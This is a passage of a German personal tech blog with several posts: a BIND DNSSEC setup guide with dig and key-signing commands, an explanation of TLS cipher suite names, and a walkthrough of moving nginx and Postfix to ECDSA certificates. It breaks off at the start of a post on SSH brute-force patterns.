Frage ich z.B.: meinen DNS-Server zuhause nach einer signierten Domain (www.cacert.org), das Flag +ad fordert den Nameserver auf die Antwort per DNSSEC zu validieren:


```generic
$ dig +ad www.cacert.org SOA @2a01:198:6ce::1
```


Dann bekomme ich die folgende Antwort.


[[Bild: dig +ad www.cacert.org SOA](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec01.jpg)](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec01.jpg)


Möchte man wissen ob sein DNS-Server überhaupt DNSSEC beherrscht, setzt man bei seiner Anfrage einfach das Flag +dnssec
Beherrscht der gefragte Nameserver DNSSEC erhält man signierte Records....


```generic
$ dig +dnssec www.cacert.org SOA @2a01:198:6ce::1
```


[[Bild: dig +dnssec www.cacert.org SOA](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec02.jpg)](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec02.jpg)


Gehen einem die, gleich erstellten, Schlüssel verloren, oder die signierte Zonendatei brennt ab, hat mein ein Problem. Genau wie bei der eigentlichen Einrichtung oder Aktualisierung ist die Reihenfolge sehr wichtig und einzuhalten. Denn die rekursiven DNS-Server halten ja für die Zeit der TTL die Abfrage im Cache.... Somit könnte man, bei falschem Vorgehen, für die Zeit der längsten TTL ~nicht~ erreichbar sein!


Ich habe mir folgenden Masterplan fürs DNSSEC aufgestellt. Im Grunde nichts weiter also vor jeder "großen" Änderung immer die längste TTL der Zone abzuwarten und fertig! Dieses habe ich mir mal irgendwann aufgemalt (nicht schön aber extrem selten). Hier also dieses ~analoge~ Bild!


[[Bild: Analoger DNSSEC Masterplan](https://www.kernel-error.de/wp-content/uploads/2010/11/DNSSEC-MASTERPLAN-scaled.jpg)](https://www.kernel-error.de/wp-content/uploads/2010/11/DNSSEC-MASTERPLAN-scaled.jpg)


Nun könnte man schon beginnen seine Zonen zu signieren. Dazu muss natürlich erstmal ein neuer Schlüssel erzeugt werden. In meinem Fall dreht sich alles um die Domain kernel-errror.org
Um für diese ZONE nun einen 4096 Bit langen KSK zu erzeugen gibt man folgendes ein:


```generic
$ dnssec-keygen -r /dev/urandom -f KSK -a NSEC3RSASHA1 -b 4096 -n ZONE kernel-error.org
Kkernel-error.org.+007+55836
```


Den ZSK für die ZONE erstellt man mit:


```generic
$ dnssec-keygen -r /dev/urandom -a NSEC3RSASHA1 -b 4096 -n ZONE kernel-error.org
Kkernel-error.org.+007+25685
```


Nun finden sich im Verzeichnis vier neue Dateien. Kkernel-error.org ist die Domain, +007 ist der Schlüsseltyp und +55836 bzw. +25685 ist die ID des Schlüssels. Die Endung .key bezeichnet jeweils den öffentlichen Teil, .privat steht für den privaten Teil. Den privaten Teil sollte keiner in die Finger bekommen


Den öffentlichen Teil des KSK und des ZSK müssen nun noch in der Zone hinzugefügt werden.


```generic
$ cat *.key >> kernel-error.org
```


Der öffentliche Teil des KSK ist zusätzlich der Teil, welcher in der übergeordneten Zone publiziert werden muss. In diesem Fall müssen also die Jungs an den Root-Servern der TLD .org einen DS aus unserem öffentlichen KSK erstellen und ihn neben die NS-Records klatschen! Das läuft überall etwas anders. [Die Vorgehensweise von der DENIC und EURID schaut so aus, dass man seinen öffentlichen KSK dort hinschickt die Jungs basteln daraus einen DS-Record (sie trauen es einem wohl nicht selbst zu) und veröffentlichen diesen daraufhin.](https://www.kernel-error.de/wp-content/uploads/2010/11/vorgehensweise.txt)


Somit kann man nun das eigentliche Zonenfile signieren :) Folgender Aufruf erledigt dieses:


```generic
dnssec-signzone -r /dev/urandom -e +31104000 -k Kkernel-error.org.+007+55836 -f kernel-error.org.signed kernel-error.org Kkernel-error.org.+007+25685
Verifying the zone using the following algorithms: NSEC3RSASHA1.
Zone signing complete:
Algorithm: NSEC3RSASHA1: ZSKs: 1, KSKs: 1 active, 0 revoked, 0 stand-by
kernel-error.org.signed
```


+31104000 [Bild](chrome://sipgateffx/skin/icon_click2dial.gif)ist hier etwas besonders. Denn das ist die Zeit in Sekunden, welche die Signatur gültig ist. In diesem Fall 360 Tage....


Nun teilt man Bind noch mit dass er anstelle der Zonendatei [kernel-error.org](https://www.kernel-error.de/wp-content/uploads/2010/11/kernel-error-org.txt) die Datei [kernel-error.org.signed](https://www.kernel-error.de/wp-content/uploads/2010/11/kernel-error-org-signed.txt) [>>laden<<](https://www.kernel-error.de/wp-content/uploads/2010/11/laden.txt) soll, restart und schon ist die Arbeit fast beendet... Änderungen an der Zone nimmt man nun weiterhin wie gewohnt in der *kernel-error.org* vor, muss nach diesen Änderungen nur jeweils die Zone neu signieren. Ist ja klar, oder?


Man darf natürlich nicht vergessen den KSK in der übergeordneten Zone bekannt zu machen. Für die Publikation des KSK haben die meisten Registries ein Webinterface (meiner leider nicht :-/). Am Ende sind dann neben den NS-Records auch die nötigen DS-Records. Ob diese gesetzt sind findet man am besten heraus, indem man die DNS-Server der übergeordneten Zone (hier also die der TLD .org) danach fragt.....


```generic
$ dig org. in NS
```


Wirft uns die zuständigen DNS-Server für die TLD .org entgegen. Von diesen fischt man sich einfach einen heraus und fragt nach dem DS-Record der gewünschten Domain (ich frage einfach mal wieder nach cacert.org)!


```generic
$ dig +short @b2.org.afilias-nst.org cacert.org in DS
cacert.org.             86400   IN      DS      59365 3 1 DA0668FAF7F726EF64284FC8D1393CF3DD0A39C5
cacert.org.             86400   IN      DS      59365 7 2 3A4F6F9F8CFB0FABB508CDE5E874206F159B8A893938A8792C091613 6CF499BD
```


Vom feinsten, oder?


---


Gibt es etwas besonders zu beachten, gibt es Probleme?


Ja, die gibt es :-/


Normalerweise läuft die Kommunikation mit den Nameservern über das UDP Protokoll, schlägt dieses fehl kommt der Fallback auf TCP. Das UDP Protokoll hat aber ein Größenlimit von 512 Bytes pro Paket. Die Schlüssel bei DNSSEC sind dafür einfach zu groß. Vor allem bei NSEC3 Schlüsseln! EDNS (Extension Mechanisms for DNS) heben dieses auf. EDNS (RFC 2671) erlaubt nämlich unter anderem größere Pakete. Dieses wurde alles schon 1999 festgelegt. Na ja, wie bei so vielen schönen Dingen hängt, wie z.B. bei IPv6, die Umsetzung leider etwas durch . Somit hat die ein oder andere Firewall, security appliance und vor allem einige plaste DSL-Router damit Probleme. Einige lösen einfach nichts mehr auf und andere erschrecken sich bei einer signierten Antwort so sehr, dass sie erstmal abstürzen!


---


Ich als Freund vom Firefox habe da noch ein Addon gefunden. Dieses Firefox Plugin, der DNSSEC Validator zeigt einem jeweils den Status der aktuellen Seite an: [https://addons.mozilla.org/de/firefox/addon/64247/](https://addons.mozilla.org/de/firefox/addon/64247/)


---


* UPDATES 08.02.2011 *


Heute gibt es zwei schöne Updates....


1. [DeNIC will die de-Domain bald signieren](https://www.heise.de/newsticker/meldung/DeNIC-will-die-de-Domain-bald-signieren-1185645.html)
2. Mein Registrar hat es endlich geschafft meinen DS-Record in der ORG-Zone zu veröffentlichen :-)


[[Bild: Domain kernel-error.org ist nun sauber signiert](https://www.kernel-error.de/wp-content/uploads/2010/11/valid.png)](https://www.kernel-error.de/wp-content/uploads/2010/11/valid.png)


---


Ich habe mir natürlich auch mal angeschaut in wie weit Microsofts Serverbetriebssystem hier mitspielt. Windows Server 2008 R2 SP1.... Der mitgelieferte DNS-Server soll/kann DNSSEC. Leider frisst der DNS-Server aus den Windows Sever 2008 R2 SP1 Boardmitteln nur Schlüssel vom Type SHA1. Das kommt daher, weil zuerst geplant war die ROOT-Zone so zu signieren. Später ist es dann aber doch SHA256 geworden. Daher lässt sich mit dem Systemeigenen DNS-Server nicht viel anfangen. Im SP2rc habe ich auch keine Verbessungen dazu gesehen. Wann dazu ein Update kommt, keine Ahnung :-)


Davon mal abgesehen.... So geht es!


[[Bild: Windows Server2008RC2 SP1 DNSSEC](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec-windows2008server01.jpg)](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec-windows2008server01.jpg)


Klickt man im DNS-Manager mit der rechten Maustaste auf den gewünschten DNS-Server und geht dort in die Eigenschaften öffnen sich diese auch in einem neuen Fenster. Hier findet sich nun der Reiter: "Anchors für Vertrauensstellung". Hier werden nun alle als vertrauenswürdig eingestuften Schlüssel aufgelistet. Die DNSKEYs der TLD se sind schon seit (ich glaube) 2007 signiert. Die Jungs haben Schlüssel vom Type SHA1... Diese lassen sich also importieren. Die Schlüssel besorgt man sich am einfachsten wieder mit dig:


```generic
$ dig se. dnsskey
```


[[Bild: dig se. dnssec](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec-windows2008server02.jpg)](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec-windows2008server02.jpg)


Nun ist es wohl am Einfachsten die Schlüssel in einen Texteditor zu werfern und dort schnell die Leerzeichen zu entfernen, sonst firsst der Windows Server 2008RC2 SP1 DNS-Server die Schlüssel nicht!


[[Bild: DNSKEY se anpassen](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec-windows2008server03.jpg)](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec-windows2008server03.jpg)


Dann schnell die Eingabeaufforderung des Admins öffnen und mit dem Befehl:


```generic
c:\>dnscmd /TrustAnchorADD se ##Schlüssel##
```


Den DNSKEY In den lokalen DNS-Server werfen.....


[[Bild: Windows Server 2008RC2 SP1 DNS-Server DNSSEC](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec-windows2008server04.jpg)](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec-windows2008server04.jpg)


Und schon ist der Schlüssel in der Liste :-) Auch wenn man damit keine vollständige Vertrauenskette bilden kann.
Wir warten also alle mal auf ein Update!
Was der Microsoft Server 2011 da kann, werde ich in den nächsten Tagen mal testen.


---


Ok, habe mir dann mal den Microsoft Windows Server 2011 SBS in den ESX4-Cluster geworfen.... Was soll ich sagen? Laut GUI kann der 2011 SBS Standard DNS-Server das auch ~noch~ nicht :-(


[[Bild: Microsoft Windows Server 2011 SBS DNSSEC](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec-windows2011server01.jpg)](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec-windows2011server01.jpg)


Wer mit Microsoft Systemen und deren Boardmitteln arbeiten will, dem bleibt nichts weiter übrig als zu warten....


---


*** UPDATES 22.02.2011 ***


Ich habe gerade meine kernel-error.de Domain auch signiert. Mein Registrar hat den DNSKEY freundlicherweise direkt veröffentlicht. Das bringt zwar erst etwas, wenn die TLD de. offiziell signiert ist.... Denn noch fängt der frühe Vogel den Wurm (oder so ähnlich)!


Über die Resolver aus dem DeNIC Testbed kann natürlich auch jetzt schon sauber abgefragt werden!


[[Bild: dnssec kernel-error.de denic testbed dnskey](https://www.kernel-error.de/wp-content/uploads/2010/11/kernel-error.jpg)](https://www.kernel-error.de/wp-content/uploads/2010/11/kernel-error.jpg)


[[Bild: DNSSEC Testbed DNSKEY kernel-error.de ](https://www.kernel-error.de/wp-content/uploads/2010/11/kernel-error01.jpg)](https://www.kernel-error.de/wp-content/uploads/2010/11/kernel-error01.jpg)


---


*** UPDATE 08.06.2011 ***


Wooohoooo DeNIC hat ja inzwischen die TLD de sauber signiert. Inzwischen sind die DS-RR auch in der Root-Zone angekommen und nutzbar :) Damit ist die TLD .de. fertig signiert und voll nutzbar *freu*


---


*** UPDATE 28.02.2012 ***


Ich habe gerade alles in die Wege geleitet um die Domain: kernel-error.com zu schützen.


Zusätzlich habe ich eine ganz nette Möglichkeit gefunden sich alles nett grafisch darstellen zu lassen. Für meine Domains wären es folgende Links:


https://dnsviz.net/d/kernel-error.de/dnssec


https://dnsviz.net/d/kernel-error.org/dnssec


https://dnsviz.net/d/kernel-error.com/dnssec


Wer sich den Link anschaut, wird erkennen wie er schnell "seine" Domain dort eintragen kann.


Um zu testen ob sein eigener Rechner derzeit überhaupt die Möglichkeit hat mit DNSSEC zu arbeiten klickt am besten kurz hier:


https://test.dnssec-or-not.org


---


* UPDATE 27.05.2012 *


Wenn man schon eine so geschützten DNS-Server hat, dann lassen sich natürlich sehr gut darüber weitere Informationen als nur A-RECORDS oder ähnliches verteilen.


Ich habe hier [https://www.kernel-error.de/dnssec/gpg-im-dns](https://www.kernel-error.de/2012/05/27/hinzufuegen-der-gpg-keys-zum-dns/) beschrieben wie sich die eigenen GPG Schlüssel über den DNS Server verteilen lassen und hier [https://www.kernel-error.de/dnssec/ssh-key-im-dns](https://www.kernel-error.de/2012/05/27/hinzufuegen-der-ssh-public-keys-zum-dns/) ist beschrieben wie sich mit OpenSSH die Fingerprints einzelner Hosts mit dem DNS Server abgleichen lassen.


---


* UPDATE 12.10.2012 *


Ich glaub es nicht der geht… nö der geööööhhht!


Der Microsoft Windows Server 8 also öhm der Microsoft Windows Server 2012 kann es. Komplett sauber und ganz Microsoft in klickibunti… Ich habe sogar sinnige und nutzbare Informationen zu dem Thema bei Microsoft selbst gefunden.
Es lässt sich wirklich fast alles mit der Maus erledigen, vom Zonen signieren bis im Im- und Export von allem möglichen Zeugs. Auch eine Schritt für Schritt Anleitung habe ich gefunden. [https://technet.microsoft.com/en-us/library/hh831411.aspx](https://technet.microsoft.com/en-us/library/hh831411.aspx)


Ich habe hier auch noch ein paar Bilder zum gucken!


[[Bild: Windows Server 2012 DNSsec](https://www.kernel-error.de/wp-content/uploads/2010/11/windows-server-2012-01.png)](https://www.kernel-error.de/wp-content/uploads/2010/11/windows-server-2012-01.png)


[[Bild: Windows Server 2012 DNSsec](https://www.kernel-error.de/wp-content/uploads/2010/11/windows-server-2012-02.png)](https://www.kernel-error.de/wp-content/uploads/2010/11/windows-server-2012-02.png)


[[Bild: Windows Server 2012 DNSsec](https://www.kernel-error.de/wp-content/uploads/2010/11/windows-server-2012-03.png)](https://www.kernel-error.de/wp-content/uploads/2010/11/windows-server-2012-03.png)


[[Bild: Windows Server 2012 DNSsec](https://www.kernel-error.de/wp-content/uploads/2010/11/windows-server-2012-04.png)](https://www.kernel-error.de/wp-content/uploads/2010/11/windows-server-2012-04.png)


---


* UPDATE 10.08.2013 *


Jetzt sind zusätzlich die TLS/SSL Schlüssel meiner Dienste per [DANE](https://www.kernel-error.de/2013/08/10/dnssec-und-dns-based-authentication-of-named-entities-dane/) mit dem DNS abgleichbar :-)


---


* UPDATE 14.11.2012 *


Ich habe dann mal die Schlüssellänge auf 4096bit angepasst :-D


---


## 31. TLS-ECDHE mit AES-256-GCM-SHA384 einfach erklärt

**Veröffentlicht:** 2020-04-14
**Permalink:** https://www.kernel-error.de/2020/04/14/tls-ecdhe-ecdhe-with-aes-256-gcm-sha384-was-bedeutet-das-eigentlich/
**Description:** Was bedeutet TLS-ECDHE-ECDHE mit AES-256-GCM-SHA384? In diesem Artikel erfährst du, was sich hinter diesem TLS-Cipher verbirgt und wofür er verwendet wird.

TLS_AES_256_CGM_SHA384 oder TLS_ECDHE_ECDHE_WITH_AES_256_GCM_SHA384 liest man immer mal wieder, wenn man sich etwas mit Transportverschlüsselung beschäftigt. Was genau dieses bedeutet ist nicht immer ganz klar. Daher möchte ich einmal probieren es etwas aufzuschlüsseln.


Um dieses nachvollziehen zu können, müssen vorher noch die folgenden Begriffe geklärt werden:


- Key exchange
Damit ist der Schlüsselaustausch gemeint.


- Certificate verification
Hier geht es um das eigentliche Zertifikat vom Server.


- Bulk encryption
Die eigentliche Verschlüsselung welche am Ende genutzt wird um die Daten auf ihrem Weg zu verschlüsseln.


- Hashing
Die eingesetzten Prüfsummen um sicherstellen zu können, das alles „richtig“ ist.


[Bild: Verschlüsselung-cipher](https://www.kernel-error.de/wp-content/uploads/2020/04/verschluesselung.jpg)


Ebenfalls muss man wissen, dass es seit TLSv1.3 einen Unterschied in der Schreibweise der cipher suite gibt. Bei <= TLSv1.2 tauchen in der cipher suite als erstes das Protokoll auf, dann der Algorithmus für den Schlüsselaustausch, nun die digitalen Signaturen des Serverzertifikates gefolgt vom „Rest“. Die Menge möglicher Kombinationen ist jetzt schon sehr hoch. Damit diese „Liste“ nicht in ihrer Länge explodiert hat man bei TLSv1.3 die beiden Punkte Key exchange und Certificate verification aus der Schreibweise entfernt.


Mit diesem Wissen kann man nun anfangen die beiden Zeichenkennten zu „zerlegen“.


TLS_ECDHE_ECDHE_WITH_AES_256_GCM_SHA384


- TLS
Nicht schwer, das eingesetzte Protokoll TLS (Transport Layer Security)


- ECDHE
Key exchange in diesem Fall ECDHE


- ECDHE
Certificate verification bei mir inzwischen ECDHE, sehr oft aber RSA


- WITH_AES_256_GCM
Bulk encryption also die eigentliche Verschlüsselung der Daten. In diesem Fall AES (Advanced Encryption Standard) mit der maximalen Länger von 256bit und GCM (Galois/Counter Mode).


- SHA384
Das eingesetzte Hashing SHA (Secure Hash Algorithm) in Version 2 mit einer Länge von 384bit.


TLS_AES_256_CGM_SHA384 schafft nun jeder allein, oder?


Sprechen wir noch kurz über den Key exchange. In diesem ist spezifiziert, wie sich Client und Server auf einen eigenen Schlüssel für ihre verschlüsselte Kommunikation einigen. Brauchbar sind dabei Kombinationen aus DHE (wenn sie >= 2048bit sind) und besser noch ECDHE, dabei stehe EC für elliptische Kurven DHE ist Diffie-Hellman. Diffie-Hellmann hat nämlich eine Möglichkeit aufgeführt, wie man für die Verschlüsselung einer Verbindung temporäre Schlüssel einsetzten kann. Denn es lassen sich auch verschlüsselte Verbindungen aufzeichnen. Natürlich kann man so noch immer nicht den Inhalt sehen.. Kommt man an den eingesetzten Schlüssel für die Kommunikation kann man diese damit entschlüsseln. Setzte man also auf einen temporären Schlüssel, gibt es diesen nur für eine gewisse Zeit und dann verschwindet er. Die Zeit, um an diesen Schlüssel zu kommen, ist daher extrem begrenzt und sorgt für eine zusätzliche Sicherheit. „Früher“ hat es gereicht sich einfach irgendwann/irgendwie den Schlüssel vom Server zu besorgen und man konnte mit diesem die Aufgezeichneten Verbindungen entschlüsseln. Bugs wie Heartbleed haben dieses noch vereinfacht. DHE minimiert also etwas das Risiko von Bugs und ergaunerten privat Keys vom Server. Man möchte für seine Verbindungen also nur DHE, besser noch ECDHE! Am besten bietet der Server nichts anders an, da sonst ggf. ein Angreifer versuchen könnte die Verbindung auf etwas „schlechteres“ herunter zu stufen, um so doch am Ende wieder an etwas kommen zu können.


Wenn wir dabei sind… Certificate verification. Nur eine verschlüsselte Verbindung alleine hilft ja nicht, wenn man sich mit dem falschen Server unterhält. Ich meine damit, dass ein Angreifer einfach dafür sorgt, dass wir nicht mit dem gewünschten Server sprechen, sondern mit seinem und dieser vielleicht einfach nur alle Daten durchreicht. Um dieses möglichst zu erschweren gibt es eine ganze Reihe verschiedener Möglichkeiten. Eine davon ist die Certificate verification. Der Server hat also ein Zertifikat, welches vielleicht noch von einer CA signiert wurde, dessen Prüfsumme im DNSsec geschützten DNS liegt, zu dem es HPKP (http Public Key Pinning) gibt oder oder… Dieses Zertifikat sollte daher ebenfalls so gebaut sein, dass man es nicht einfach „nachmachen“ kann. Daher sollte es >=2048bit RSA (asymmetrisches kryptographisches Verfahen) sein, besser noch 4096bit RSA. Hier sieht man schon ein „Problem“. Die Systeme „rechnen“ schneller und damit wird die Bitzahl erhört und die zu übertragenden Daten und das errechnen der Clients usw.. Insg. keine sehr schöne Lösung. ECDHE Zertifikate sind deutlich kleiner, damit schneller zu übertragen und zudem noch für den Client schneller zu prüfen.


Als Beispiel:
Ein Zertifikat mit elliptischen Kurven und einer Länge von 256bit ist grob vergleichbar mit einem RSA Zertifikat mit 3072bit. Wenn jemand daher auf elliptische Kurven setzt, sollten diese nicht kleiner als <=secp256r1 sein. secp224r1 liegt schon zu nahe an 1024bit RSA und fliegt bald weg. secp384r1 ist ganz vorne mit dabei, hat aktuell keinen besonderen Vorteil.


Bulk encryption, tjo die eingesetzte Verschlüsselung. Hier gibt es verschiedene Kombinationen, welche als „sicher“ gelten. Alle zu erklären sprengt sicher den Rahmen. April 2020 kann man sicher merken:


Kombinationen aus AES >=128bit mit GCM oder ChaCha20 mit Poly1305 sind ganz gut. OK ist im Moment noch AES >=128bit mit CBC. 3DES sollte man in keiner Kombination mehr nutzen, das fliegt bald aus der „Sicher“ Liste raus, so wie <= TLSv1.2. Von allen anderen Kombinationen sollte man tunlichst die Finger lassen!


Das Hashing bei der Bulk encryption (das Hashing für Key exchange und Certificate verification hängt am Serverzertifikat, unterliegt den gleichen Merkpunkten) sollte etwas um >= 256bit SHA 2 sein. Ein ganz guter Mittelweg ist hier SHA-384. SHA1 „geht“ wohl dabei ebenfalls noch. Ich würde davon und von allem anderen dennoch die Finger lassen. Wenn ihr irgendwo MD5 RC4 oder ähnliches seht, rennt weg!


Habe ich etwas vergesse, ist etwas falsch oder es gibt Fragen? Dann einfach E-Mail bitte!


---


## 32. Von RSA zu ECDSA: Sichere Zertifikate für Web- und Mailserver

**Veröffentlicht:** 2020-02-26
**Permalink:** https://www.kernel-error.de/2020/02/26/keine-rsa-zertifikate-mehr-o/
**Description:** Anleitung zum Wechsel von RSA- zu ECDSA-Zertifikaten für nginx und Postfix. Erfahre, wie du moderne Verschlüsselung mit elliptischen Kurven implementierst.

..... naja, fast :-/


Wir sind alle in 2020 angekommen und so laaaannngggsssaaammmm könnte man von 4096 bit RSA Zertifikaten mal auf >= 256 bit EC Zertifikate wechseln, oder? Bringt mehr Sicherheit, die Schlüssel sind kleiner und so schneller gerechnet und alle gängigen Browser machen es ebenfalls schon ein paar Jahre.


Vor knapp 6 Monaten habe ich daher einen Satz neuer Schlüssel erstellt und diese schon mal in mein HPKP Header eingebunden, damit der Key-Rollover gut funktioniert. Heute habe ich zu den Schlüsseln Zertifikate gebaut, diese von einer CA signieren lassen und alles eingebunden.


Bei meinem nginx vollkommen schmerzfrei. Einfach die neuen Schlüssel hinterlegt und die Cipherliste von allem RSA-Zeug befreit:


```generic
ssl_ciphers TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_128_GCM_SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-GCM-SHA256;
```


Restart vom nginx und zack, schon läuft alles!


Bei den Webseiten also überhaupt kein Problem. Etwas anders ist es bei E-Mail! Postfix macht es natürlich schon, ach LANGE.. Aber ein Microsoft Exchange 2016 in der (weiter weiter fertigstellen) Installation natürlich nicht. Wenn ich also von so einem System weiterhin E-Mails erhalten möchte (ja will ich und per RSA kann so ein System es auch in ~sicher~), muss ich weiterhin etwas auf RSA Basis anbieten.


Jetzt haben sich die Entwickler(innen) bei Postfix schon so etwas gedacht und bieten dieses in der Konfiguration an. Also RSA Keys/Zertifikate? Richtig... OK, das ist nichts besonders aber das es in Kombination mit ECD Keys/Zertifikaten möglich ist. Ach schaut einfach mal die Konfiguration:


```generic
smtpd_tls_eckey_file = /usr/local/etc/postfix/ec-postfix.key
smtpd_tls_eccert_file = /usr/local/etc/postfix/ec-postfix.pem
smtpd_tls_key_file = /usr/local/etc/postfix/postfix.key
smtpd_tls_cert_file = /usr/local/etc/postfix/postfix.pem
```


Ha, ist das nicht schön? smtpd_tls_eckey_ und smtpd_tls_key_?!? Der Server wirft jedem Client nun also zwei Serverzertifikate entgegen. Einmal EC und einmal RSA (ok man braucht also nun ebenfalls zwei Zertifikate).


Schaut mal:


```shell
➜  ~ testssl.sh -t smtp smtp.kernel-error.de:25
[....]
Server Certificate #1
Signature Algorithm          SHA256 with RSA
Server key size              RSA 4096 bits
Server key usage             Digital Signature, Key Encipherment
Server extended key usage    TLS Web Server Authentication, TLS Web Client Authentication
Serial / Fingerprints        4F7A9159AEED9414B7D542ED / SHA1 908FD237EF13A6048077082023C4CDE092F55F33
SHA256 74E3984BD5F9FAC26375DAEA6F0326229A0F42AC2EE53088A73DFD5F65107FA9
Common Name (CN)             *.kernel-error.de
subjectAltName (SAN)         *.kernel-error.de kernel-error.de
Issuer                       AlphaSSL CA - SHA256 - G2 (GlobalSign nv-sa from BE)
Trust (hostname)             Ok via SAN wildcard (same w/o SNI)
Chain of trust               Ok
EV cert (experimental)       no
ETS/"eTLS", visibility info  not present
Certificate Validity (UTC)   403 >= 60 days (2020-02-26 14:19 --> 2021-04-05 13:58)
# of certificates provided   2
Certificate Revocation List  http://crl2.alphassl.com/gs/gsalphasha2g2.crl
OCSP URI                     http://ocsp2.globalsign.com/gsalphasha2g2
OCSP stapling                not offered
OCSP must staple extension   --
DNS CAA RR (experimental)    available - please check for match with "Issuer" above
iodef=mailto:kernel-erro@kernel-error.de, issue=comodoca.com, issue=geotrust.com, issue=globalsign.com, issue=letsencrypt.org, issue=thawte.com
Certificate Transparency     yes (certificate extension)

Server Certificate #2
Signature Algorithm          SHA256 with RSA
Server key size              EC 256 bits
Server key usage             Digital Signature, Key Agreement
Server extended key usage    TLS Web Server Authentication, TLS Web Client Authentication
Serial / Fingerprints        24E25E2F3D57B41671392F25 / SHA1 763EE6D52D3CF0237D9858F27EDF42EF4696B1E2
SHA256 9C4C0FCE32BA7E8AEAF17210B509D871D6B2EF237E0E887D7190F28F28011143
Common Name (CN)             *.kernel-error.de
subjectAltName (SAN)         *.kernel-error.de kernel-error.de
Issuer                       AlphaSSL CA - SHA256 - G2 (GlobalSign nv-sa from BE)
Trust (hostname)             Ok via SAN wildcard (same w/o SNI)
Chain of trust               Ok
EV cert (experimental)       no
ETS/"eTLS", visibility info  not present
Certificate Validity (UTC)   365 >= 60 days (2020-02-26 13:37 --> 2021-02-26 13:37)
# of certificates provided   2
Certificate Revocation List  http://crl2.alphassl.com/gs/gsalphasha2g2.crl
OCSP URI                     http://ocsp2.globalsign.com/gsalphasha2g2
OCSP stapling                not offered
OCSP must staple extension   --
DNS CAA RR (experimental)    available - please check for match with "Issuer" above
iodef=mailto:kernel-erro@kernel-error.de, issue=comodoca.com, issue=geotrust.com, issue=globalsign.com, issue=letsencrypt.org, issue=thawte.com
Certificate Transparency     yes (certificate extension)
[....]
```


Jetzt kann noch ein 2016 Microsoft Exchangeserver einliefern und auch die "coolen Kinder". Was mache ich wohl 2021? Exchange 2016 ignorieren?!?!


---


Kleines Update, da es Fragen gab..


Natürlich sollte man seine ciphers in einer sinnigen Reihenfolge für seinen Postifx konfigurieren. Kommen sie in der Reihe erst nach den RSA ciphern wird es natürlich fast nie benutzt *kopfschüttel*. Leute bitte kein copy & paste, mitdenken!


Ein Beispiel für die cipherliste wäre:


```generic
tls_high_cipherlist = TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_128_GCM_SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256
```


TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_128_GCM_SHA256 sind dabei für TLS1.3


ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-GCM-SHA256 sind für den gewünschten ECD-Key


ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256 sind dann für TLS 1.2 RSA Verbindungen.


Kommt nun ein Client/einliefernder Mailserver, dann wird dieser dank:


```generic
tls_preempt_cipherlist = yes
```


Die vom Server übermittelte cipherliste durchgehen und die erste für beide funktionierende Kombination benutzen.


RSA Verbindungen sehen dann so aus:


```generic
Mar  3 08:24:13 smtp postfix/smtpd[49650]: Anonymous TLS connection established from RSA-mailserver[1.2.3.4]: TLSv1.2 with cipher ECDHE-RSA-AES256-SHA384 (256/256 bits)
```


ECD Verbindungen so:


```generic
Mar  3 08:23:53 smtp postfix/smtpd[49650]: Anonymous TLS connection established from EDC-mailserver[5.6.7.8]: TLSv1.2 with cipher ECDHE-ECDSA-AES256-GCM-SHA384 (256/256 bits)
```


Einfach, oder?


---


## 33. SSH-Brute-Force mit veralteter Implementierung: Angriffsmuster erkennen

**Veröffentlicht:** 2020-04-09
**Permalink:** https://www.kernel-error.de/2020/04/09/ssh-bruteforce-mit-alter-implementierung/
**Description:** Analyse von SSH-Brute-Force-Angriffen mit veralteten Implementierungen. Erkenne Muster in Logs und schütze deine Systeme vor gezielten Angriffen.

Wenn man mit einem System im Internet steht fummelt immer irgendein script kiddie oder bot an den Diensten herum. Oft ist hier eine IP Adresse aus China dabei. Dann probieren sie ein paar default logins und wandern weiter zur nächsten IP Adresse. Die Bots geben dem Ganzen in der Regel schon nicht mehr als drei Versuche, weil sie dann eh von irgendeinem Sicherheitssystem geblockt werden. Da es noch viele andere bots hinter anderen IP Adressen gibt, übermittelt der bot nur seinen Stand der Versuche an das Hirn des Botnetzes und der nächste, nicht geblockte bot, kommt und probiert es weiter...


Alles "kalter Kaffee"... In den letzten Wochen fallen mir zwei kleine Veränderungen auf.


[Bild: old SSH Bot](https://www.kernel-error.de/wp-content/uploads/2020/04/old-ssh-bot.jpg)


Einmal kommen diese IP Adressen noch immer stark aus China... ABER sehr oft ebenfalls von DigitalOcean (USA). Zudem fallen mir die anderen Cloudprovider auf (Google, Microsoft, AWS...). Das verschiebt sich aktuell wohl etwas. Normalerweise kommt ganz viel aus China, dann ganz viel von verschiedenen dynamischen Endkundenanschlüssen auf der Erde. Jetzt kommt ganz viel aus China, dann unglaublich nahe daran Digitalocean, direkt gefolgt von der google-cloud und microsoft-cloud. Erst jetzt kommen die Endkundenanschlüsse und mischen sich mit Adressen aus der AWS-Cloud. Scheinbar haben die Amazonjungs irgendetwas "besser" gemacht, um ihre Kunden davor zu schützen sich etwas "einzufangen"?!?


